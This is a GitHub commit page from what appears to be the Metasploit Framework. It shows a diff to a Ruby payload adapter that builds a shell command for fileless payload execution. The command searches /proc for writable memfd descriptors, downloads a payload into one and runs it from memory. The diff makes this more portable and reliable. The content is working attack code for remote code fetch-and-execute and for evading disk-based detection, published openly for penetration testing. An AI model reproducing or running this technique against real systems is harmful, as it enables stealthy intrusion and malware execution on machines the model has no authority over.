Skip to content

Commit

Permalink
Adding more reliable fileless fetch payload
Browse files Browse the repository at this point in the history
  • Loading branch information
msutovsky-r7 committed Feb 7, 2025
1 parent 6d07354 commit ed648e9
Showing 1 changed file with 7 additions and 6 deletions.
13 changes: 7 additions & 6 deletions lib/msf/core/payload/adapter/fetch.rb
Original file line number Diff line number Diff line change
Expand Up @@ -237,19 +237,20 @@ def _generate_fileless(get_file_cmd)
cmd = 'FOUND=0'
cmd << ";for i in $(ps -u $USER | awk '{print $1}')"
# already found anonymous file where we can write
cmd << '; do if [[ $FOUND -eq 0 ]]'
cmd << '; do if [ $FOUND -eq 0 ]'

# look for every symbolic link with write rwx permissions
# if found one, try to download payload into the anonymous file
# and execute it
cmd << '; then while read f'
cmd << '; do if [[ $(ls -al $f | grep -o memfd) ]]'
cmd << "; then #{get_file_cmd}"
cmd << '; $f'
cmd << '; then for f in $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'
cmd << '; do if [ $(ls -al $f | grep -o "memfd" >/dev/null; echo $?) -eq "0" ]'
cmd << "; then if [ $( #{get_file_cmd} >/dev/null; echo $?) -eq \"0\" ]"
cmd << '; then $f'
cmd << '; FOUND=1'
cmd << '; break'
cmd << '; fi'
cmd << '; done <<< $(find /proc/$i/fd -type l -perm u=rwx 2>/dev/null)'
cmd << '; fi'
cmd << '; done'
cmd << '; fi'
cmd << '; done'

Expand Down

0 comments on commit ed648e9

Please sign in to comment.